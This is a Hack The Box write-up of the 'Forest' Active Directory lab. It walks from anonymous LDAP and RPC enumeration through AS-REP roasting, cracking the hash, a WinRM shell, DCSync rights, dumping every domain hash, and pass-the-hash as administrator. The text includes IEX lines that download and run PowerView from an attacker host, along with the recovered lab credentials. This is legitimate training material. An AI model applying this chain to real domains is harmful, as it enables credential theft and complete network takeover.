A HTB lab based entirely on Active Directory attacks.
Starting out with a usual scan:
nmap 10.10.10.161 -sV -sC -oA forestscan
Among other things, we will find that there are a series of very familiar ports exposed on the host:
Discovered open port 53/tcp on 10.10.10.161
Discovered open port 135/tcp on 10.10.10.161
Discovered open port 445/tcp on 10.10.10.161
Discovered open port 139/tcp on 10.10.10.161
Discovered open port 88/tcp on 10.10.10.161
Discovered open port 3268/tcp on 10.10.10.161
Discovered open port 593/tcp on 10.10.10.161
Discovered open port 3269/tcp on 10.10.10.161
Discovered open port 389/tcp on 10.10.10.161
Discovered open port 636/tcp on 10.10.10.161
Discovered open port 464/tcp on 10.10.10.161
More information about active directory ports is available here
Starting with SMB:
root@kali:~/forest# smbclient -L 10.10.10.161
Enter WORKGROUP\root's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
We have no shares available with the null session, but we do get an anonymous login, that’s interesting.
Next, turning to LDAP:
If we had low privilege credentials we’d be able to use ldapsearch like: ldapsearch -h 10.10.10.161
, the most simple ldapsearch command.
But, for now ldapsearch -h 10.10.10.161 -x
should get us talking LDAP.
Output:
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 32 No such object
text: 0000208D: NameErr: DSID-0310021B, problem 2001 (NO_OBJECT), data 0, best
match of:
''
# numResponses: 1
We could then use something like: ldapsearch -LLL -x -H ldap://10.10.10.161 -b '' -s base '(objectclass=*)'
to see more information about the root object.
Ronnie Flathers (@ropnop) did an outstanding talk at troopers last year that goes over some of the more advanced usage of LDAPSearch.
We can extend our search using ‘base’ to have AD show us the partitions or naming contexts of the directory:
ldapsearch -h 10.10.10.161 -x -s base namingcontexts
Which will finally give us something we can work with:
root@kali:~/forest# ldapsearch -h 10.10.10.161 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
We learn that our domain name is htb.local
.
Using that information to make a more useful LDAP query:
ldapsearch -h 10.10.10.161 -x -b "dc=htb,dc=local"
.
We are able to see much more information about the Domain partition of this directory.
Since LDAP is designed for searching and this directory seems keen to give up information, we can start to think about the interesting objects in the directory.
For me, i’d start with the possibility that there may be computers and users that we can do interesting things with.
ldapsearch -h 10.10.10.161 -x -b "dc=htb,dc=local" '(objectClass=Computer)' | grep Name
We learn about the two computer objects (EXCH01$
and FOREST$
- the DC) as well as the associated service principal names:
root@kali:~/forest# ldapsearch -h 10.10.10.161 -x -b "dc=htb,dc=local" '(objectClass=Computer)' | grep Name
distinguishedName: CN=FOREST,OU=Domain Controllers,DC=htb,DC=local
sAMAccountName: FOREST$
serverReferenceBL: CN=FOREST,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN
dNSHostName: FOREST.htb.local
servicePrincipalName: TERMSRV/FOREST
servicePrincipalName: TERMSRV/FOREST.htb.local
servicePrincipalName: exchangeAB/FOREST
servicePrincipalName: exchangeAB/FOREST.htb.local
servicePrincipalName: Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/FOREST.htb.loc
servicePrincipalName: ldap/FOREST.htb.local/ForestDnsZones.htb.local
servicePrincipalName: ldap/FOREST.htb.local/DomainDnsZones.htb.local
servicePrincipalName: DNS/FOREST.htb.local
servicePrincipalName: GC/FOREST.htb.local/htb.local
servicePrincipalName: RestrictedKrbHost/FOREST.htb.local
servicePrincipalName: RestrictedKrbHost/FOREST
servicePrincipalName: RPC/236ba33a-7959-4a41-b959-5f82689a0871._msdcs.htb.loca
servicePrincipalName: HOST/FOREST/HTB
servicePrincipalName: HOST/FOREST.htb.local/HTB
servicePrincipalName: HOST/FOREST
servicePrincipalName: HOST/FOREST.htb.local
servicePrincipalName: HOST/FOREST.htb.local/htb.local
servicePrincipalName: E3514235-4B06-11D1-AB04-00C04FC2DCD2/236ba33a-7959-4a41-
servicePrincipalName: ldap/FOREST/HTB
servicePrincipalName: ldap/236ba33a-7959-4a41-b959-5f82689a0871._msdcs.htb.loc
servicePrincipalName: ldap/FOREST.htb.local/HTB
servicePrincipalName: ldap/FOREST
servicePrincipalName: ldap/FOREST.htb.local
servicePrincipalName: ldap/FOREST.htb.local/htb.local
distinguishedName: CN=EXCH01,CN=Computers,DC=htb,DC=local
sAMAccountName: EXCH01$
dNSHostName: EXCH01.htb.local
servicePrincipalName: IMAP/EXCH01
servicePrincipalName: IMAP/EXCH01.htb.local
servicePrincipalName: IMAP4/EXCH01
servicePrincipalName: IMAP4/EXCH01.htb.local
servicePrincipalName: POP/EXCH01
servicePrincipalName: POP/EXCH01.htb.local
servicePrincipalName: POP3/EXCH01
servicePrincipalName: POP3/EXCH01.htb.local
servicePrincipalName: exchangeRFR/EXCH01
servicePrincipalName: exchangeRFR/EXCH01.htb.local
servicePrincipalName: exchangeAB/EXCH01
servicePrincipalName: exchangeAB/EXCH01.htb.local
servicePrincipalName: exchangeMDB/EXCH01
servicePrincipalName: exchangeMDB/EXCH01.htb.local
servicePrincipalName: SMTP/EXCH01
servicePrincipalName: SMTP/EXCH01.htb.local
servicePrincipalName: SmtpSvc/EXCH01
servicePrincipalName: SmtpSvc/EXCH01.htb.local
servicePrincipalName: WSMAN/EXCH01
servicePrincipalName: WSMAN/EXCH01.htb.local
servicePrincipalName: RestrictedKrbHost/EXCH01
servicePrincipalName: HOST/EXCH01
servicePrincipalName: RestrictedKrbHost/EXCH01.htb.local
servicePrincipalName: HOST/EXCH01.htb.local
The SPN’s give us confidence in the types of services the computers are hosting.
“Forest” for example, is confirmed as the likely domain controller and “EXCH” an Exchange Server with most of the mail roles.
On the user side of the house:
ldapsearch -h 10.10.10.161 -x -b "dc=htb,dc=local" '(objectClass=User)' | grep userPrincipalName
We learn about:
userPrincipalName: sebastien@htb.local
userPrincipalName: lucinda@htb.local
userPrincipalName: andy@htb.local
userPrincipalName: mark@htb.local
userPrincipalName: santi@htb.local
(and a handful of mailbox accounts)
Probably important to note that grep isnt really the ‘best’ way to do this. ldapsearch will take a parameter to fetch just the things you want like. For example if i wanted distinguishedName and userPrincipalName
i could do ldapsearch -h 10.10.10.161 -x -b "dc=htb,dc=local" '(objectClass=Person)' servicePrincipalName, userPrincipalName
. Grep just provided the view i wanted here.
Now since we have valid users, we could attempt a password spray attack to see if one of them makes horrible choices. The thing to be really careful of here is password lockout limits. If we suddenly lock out a stack of active directory accounts it is going to be not only noisy, it’ll be fairly annoying as well.
Lets quickly check the password policy:
crackmapexec smb 10.10.10.161 --pass-pol -u '' -p ''
(While pulling my hair out at this point I found there’s a much much much better walkthrough than this blog. Really high quality video by IPSEC here. In that video (among many other things) i found what i was missing with crackmapexec to force the null authentication. IPSEC calls out the reason for this access; that upgraded domains will often still support null authentication because it was the Windows 2000/2003 default.)
After getting the crackmapexec command right, we find out:
root@kali:~/forest# crackmapexec smb 10.10.10.161 --pass-pol -u '' -p ''
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:HTB) (signing:True) (SMBv1:True)
SMB 10.10.10.161 445 FOREST [-] HTB\: STATUS_ACCESS_DENIED
SMB 10.10.10.161 445 FOREST [+] Dumping password info for domain: HTB
SMB 10.10.10.161 445 FOREST Minimum password length: 7
SMB 10.10.10.161 445 FOREST Password history length: 24
SMB 10.10.10.161 445 FOREST Maximum password age:
SMB 10.10.10.161 445 FOREST
SMB 10.10.10.161 445 FOREST Password Complexity Flags: 000000
SMB 10.10.10.161 445 FOREST Domain Refuse Password Change: 0
SMB 10.10.10.161 445 FOREST Domain Password Store Cleartext: 0
SMB 10.10.10.161 445 FOREST Domain Password Lockout Admins: 0
SMB 10.10.10.161 445 FOREST Domain Password No Clear Change: 0
SMB 10.10.10.161 445 FOREST Domain Password No Anon Change: 0
SMB 10.10.10.161 445 FOREST Domain Password Complex: 0
SMB 10.10.10.161 445 FOREST
SMB 10.10.10.161 445 FOREST Minimum password age:
SMB 10.10.10.161 445 FOREST Reset Account Lockout Counter: 30 minutes
SMB 10.10.10.161 445 FOREST Locked Account Duration: 30 minutes
SMB 10.10.10.161 445 FOREST Account Lockout Threshold: None
SMB 10.10.10.161 445 FOREST Forced Log off Time: Not Set
Which means (Account Lockout Threshold: None
), we can bruteforce without locking people out. We have a tonne of options for brute forcing but since we are already in crackmapexec something like crackmapexec smb 10.10.10.161 -u ouruserlist.txt -p ourcrappypasswordsfile.txt
would get it done.
I didn’t have a tonne of luck after nearly an hour of password brute force. In the lab environment this is usually an indicator that it’s not the right route, so we’ll park it for now.
The other way I could have obtained the lock out information directly would have been to leverage enum4linux
which will attempt some anonymous RPC enumeration. Among other things, it will show us the password policy in an environment configured like this one. It will also attempt to enumerate users, groups, shares etc. Often this will be redundant information if you are already able to query with LDAP, but in this case notice we return more user accounts:
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[user1] rid:[0x1db1]
user:[boka] rid:[0x1db2]
The anonymous rpc is retrieving more than the anonymous LDAP. Interesting.
svc-alfresco
is interesting. First of all, because it didn’t show in the original LDAP queries, but second because just by naming standard we seem to have found a service account. This might be useful for a Kerberoasting or AS-REP roasting attack.
I did go back and try to search with the anonymous session again via ldapsearch -h 10.10.10.161 -x -b "dc=htb,dc=local" '(cn=svc-alfresco)'
and tried some scopes other than the default, but no dice.
Impacket also failed to retrieve the svc-alfresco
user with the anonymous session:
root@kali:/usr/share/doc/python3-impacket/examples# ./GetADUsers.py htb.local/'':'' -dc-ip 10.10.10.161
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Querying 10.10.10.161 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator Administrator@htb.local 2019-09-18 13:09:08.342879 2019-10-07 06:57:07.299606
HealthMailbox0659cc1 HealthMailbox0659cc188f4c4f9f978f6c2142c4181e@htb.local 2019-09-19 07:57:58.643994 <never>
HealthMailbox670628e HealthMailbox670628ec4dd64321acfdf6e67db3a2d8@htb.local 2019-09-19 07:56:45.643993 <never>
HealthMailbox6ded678 HealthMailbox6ded67848a234577a1756e072081d01f@htb.local 2019-09-19 07:57:06.597012 <never>
HealthMailbox7108a4e HealthMailbox7108a4e350f84b32a7a90d8e718f78cf@htb.local 2019-09-19 07:57:48.253341 <never>
HealthMailbox83d6781 HealthMailbox83d6781be36b4bbf8893b03c2ee379ab@htb.local 2019-09-19 07:57:17.065809 <never>
HealthMailbox968e74d HealthMailbox968e74dd3edb414cb4018376e7dd95ba@htb.local 2019-09-19 07:56:56.143969 <never>
HealthMailboxb01ac64 HealthMailboxb01ac647a64648d2a5fa21df27058a24@htb.local 2019-09-19 07:57:37.878559 <never>
HealthMailboxc0a90c9 HealthMailboxc0a90c97d4994429b15003d6a518f3f5@htb.local 2019-09-19 07:56:35.206329 <never>
HealthMailboxc3d7722 HealthMailboxc3d7722415ad41a5b19e3e00e165edbe@htb.local 2019-09-23 18:51:31.892097 2019-09-23 18:57:12.361516
HealthMailboxfc9daad HealthMailboxfc9daad117b84fe08b081886bd8a5a50@htb.local 2019-09-23 18:51:35.267114 2019-09-23 18:52:05.736012
HealthMailboxfd87238 HealthMailboxfd87238e536e49e08738480d300e3772@htb.local 2019-09-19 07:57:27.487679 <never>
I also gave the kerberos enumeration module in MetaSploit a try to see if there was more we could learn about any of the users:
[*] Validating options...
[*] Using domain: HTB.LOCAL...
[*] 10.10.10.161:88 - Testing User: "sebastien"...
[*] 10.10.10.161:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.161:88 - User: "sebastien" is present
[*] 10.10.10.161:88 - Testing User: "lucinda"...
[*] 10.10.10.161:88 - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] 10.10.10.161:88 - User: "lucinda" is present
[*] 10.10.10.161:88 - Testing User: "svc-alfresco"...
[-] Auxiliary failed: NoMethodError undefined method `error_code' for #<Rex::Proto::Kerberos::Model::KdcResponse:0x000055bdb0ffa2a8>
It’s interesting that ‘svc-alfresco’ had a different Kerberos response but I put this on the list of things to keep poking at if nothing else useful had popped up.
As one last user enumeration task (since we mentioned “ropnop”s presentation about AD enumeration earlier) I used the windapsearch script to mostly simplify everything we’ve done with LDAP up to this point. You can get it here. You’ll need the “python-ldap” library installed which you can do via pip; if you hit errors trying to install that you probably need sudo apt-get install libsasl2-dev python-dev libldap2-dev libssl-dev
In other walkthroughs i found the windapsearch approach revealed the svc-alfresco user. It didn’t show for me with ./windapsearch.py -d htb.local --dc-ip 10.10.10.161 -U
. If it wasn’t for the old school rpc approach with enum4linux i wouldn’t have seen this user.
Anyway, I’m moving on to attempting to AS-REP/kerberoast the service account:
I start with AES-REP because i don’t need more information. I’m hoping to find that the account has kerberos pre-authentication disabled. For this, we use impackets GetNPUsers.py:
root@kali:~/windapsearch# locate GetNPUsers
/usr/share/doc/python3-impacket/examples/GetNPUsers.py
root@kali:~/windapsearch# /usr/share/doc/python3-impacket/examples/GetNPUsers.py -dc-ip 10.10.10.161 -request 'htb.local/'
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
Name MemberOf PasswordLastSet LastLogon UAC
------------ ------------------------------------------------------ -------------------------- -------------------------- --------
svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 2020-03-21 16:34:12.372301 2020-03-21 16:12:06.447865 0x410200
$krb5asrep$23$svc-alfresco@HTB.LOCAL:e2855cfed8ce1576386ca491274c48df$a1305f39cac401f67efa61e686fc7299856a530440767909781f857332e47c413b2bec8207e772c268527c19540ec6d6c6851520ecb8ee820a226fde667510d2132c9b6c1b99ca3e083b09bd37ee35c42d67094e1b5f6c9d9604d1b33fb9fa08496984e8a6a14c0c3bc3b07cee8e2ddbc740f3b73d9c783449cbb75bb2d5b2ccfaf1549f58455c489829da65b106364e6ad8af3ec803d96be69f62d68b3cec52886423119c2cd732bc6a150f31b786fe570acda4d8b989851fea139cd1f79cfbba9aa4cbb21e60fa92ff9523e104b73bac877e8eb93946ebeb065d9949bd62d61214823c4ddf
Success. At this point we’re ready to hopefully crack the password for this account.
We save the hash to a file, creatively called “hash”, then use john to crack it against the rockyou password list. In reality, we’d probably choose hashcat and move to a cracking machine, but HTB rarely uses super strong passwords; it’s more about the technique than it is waiting on cracking for half a day.
root@kali:~/forest# cat hash
$krb5asrep$23$svc-alfresco@HTB.LOCAL:e2855cfed8ce1576386ca491274c48df$a1305f39cac401f67efa61e686fc7299856a530440767909781f857332e47c413b2bec8207e772c268527c19540ec6d6c6851520ecb8ee820a226fde667510d2132c9b6c1b99ca3e083b09bd37ee35c42d67094e1b5f6c9d9604d1b33fb9fa08496984e8a6a14c0c3bc3b07cee8e2ddbc740f3b73d9c783449cbb75bb2d5b2ccfaf1549f58455c489829da65b106364e6ad8af3ec803d96be69f62d68b3cec52886423119c2cd732bc6a150f31b786fe570acda4d8b989851fea139cd1f79cfbba9aa4cbb21e60fa92ff9523e104b73bac877e8eb93946ebeb065d9949bd62d61214823c4ddf
root@kali:~/forest# john hash --fork=8 -w=rockyou.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Node numbers 1-8 of 8 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
money.
We have a valid set of domain credentials.
u:svc-alfresco@HTB.LOCAL p:s3rvice
Let’s see if we can get remote execution with them…
In the original nmap scans we identified that port 5985 is open on the domain controller. On linux, the best tool for interacting with WinRM is Evil-WinRM.
./evil-winrm.rb -u svc-alfresco -p s3rvice -i 10.10.10.161
At this point, we have our first shell on the machine, which deserves a picture:
(We could also grab the user flag from the desktop at this point).
The next logical step after getting standard user authentication and remote code execution is to attempt to escalate privileges.
We work with SpecterOps a lot at Palantir, so the first thing that comes to mind is Bloodhound.
root@kali:~/forest# bloodhound-python -d htb.local -u svc-alfresco -p s3rvice -c all -ns 10.10.10.161 -gc forest.htb.local
INFO: Found AD domain: htb.local
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: FOREST.htb.local
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
INFO: Found 31 users
INFO: Found 75 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: EXCH01.htb.local
INFO: Querying computer: FOREST.htb.local
INFO: Done in 01M 24S
We import the json files into bloodhound and then search for the user account we already own (svc-alfresco)
If we reorganize this view by right clicking on “HTB.local” as our ultimate prize and selecting “Shortest path” we can see that things are getting very interesting:
The “Exchange Windows Permissions” group has a write DACL on the domain head. This is actually a really great example/lab of something that caused a lot of alarm in 2019.
We also note that through nested memberships we are in the “Account Operators” group. Which means we should be able to create a user and add them to groups that are not in the Admin group set:
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user cd P@ssw0rd123 /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" /add cd
The command completed successfully.
Great!
Now we have an account that is able to modify the domain head object, thanks to that “WriteDACL” permission.
Bloodhound is pretty sweet in that it provides next steps. If i click on the closest node that i have access to in the attack path, i can click help, then “Abuse Info”. In this case, my closest node is the “Exchange Windows Permissions” group which i now have a user in, and the advice is to use the following commands in my WinRM session:
$SecPassword = ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\cd', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity htb.local -Rights DCSync
The last command requires us to get PowerView on the box though… lets do that:
Maybe we could use:
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
(There’s a stack of good examples here)
But this lab machine does not have Internet access.
Instead, i’m going to host the tool i need on my attacker machine and start a web service. Like this:
root@kali:~/forest# wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1
--2020-03-21 17:49:34-- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 363295 (355K) [text/plain]
Saving to: ‘powerview.ps1’
powerview.ps1 100%[======================================================================>] 354.78K 1.21MB/s in 0.3s
2020-03-21 17:49:35 (1.21 MB/s) - ‘powerview.ps1’ saved [363295/363295]
root@kali:~/forest# mkdir pv && cd pv
root@kali:~/forest/pv# cp ../powerview.ps1 .
root@kali:~/forest/pv# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Now i might be able to load powerview like this:
iex(New-Object Net.WebClient).DownloadString('http://10.10.14.7:8000/powerview.ps1')
Tying it all together to get myself dcsync rights like this:
iex(New-Object Net.WebClient).DownloadString('http://10.10.14.7:8000/powerview.ps1')
$SecPassword = ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\cd', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity cd -Rights DCSync
Success!
If you’re unfamiliar with DCSync i recommend the Red Teaming Experiments site. So much other good content on the site.
Next, we use our brand new dcsync right to dump all the hashes in the database.
(Note that i changed my password along the way here because i lost my session and started again. You could do the same with “net user cd Password123” on your WinRM session)
secretsdump.py htb.local/cd:Password123@10.10.10.161
Here’s some example output:
root@kali:~/forest# /usr/share/doc/python3-impacket/examples/secretsdump.py htb.local/cd:Password123@10.10.10.161
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
You might be tempted to take the Domain Admin hash away and crack it. There’s actually no need though, psexec will take our hash as a parameter.
Run the hash through crackmapexec:
crackmapexec smb 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6
Output:
root@kali:~/forest# crackmapexec smb 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:HTB) (signing:True) (SMBv1:True)
SMB 10.10.10.161 445 FOREST [+] HTB\administrator 32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)
Then we can use psexec to get a shell on the domain controller as the Domain Admin:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
Success! We own the domain.
We’re done at this point, but if we wanted to get cute and RDP in for some reason:
net group "Enterprise Admins" /add cd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP" /v UserAuthentication /t REG_DWORD /d "0" /f
then:
rdesktop 10.10.10.161
Annnnd not only would it be unlikely you’d ever take this last step in a real environment, it turns out they are using server core anyway :)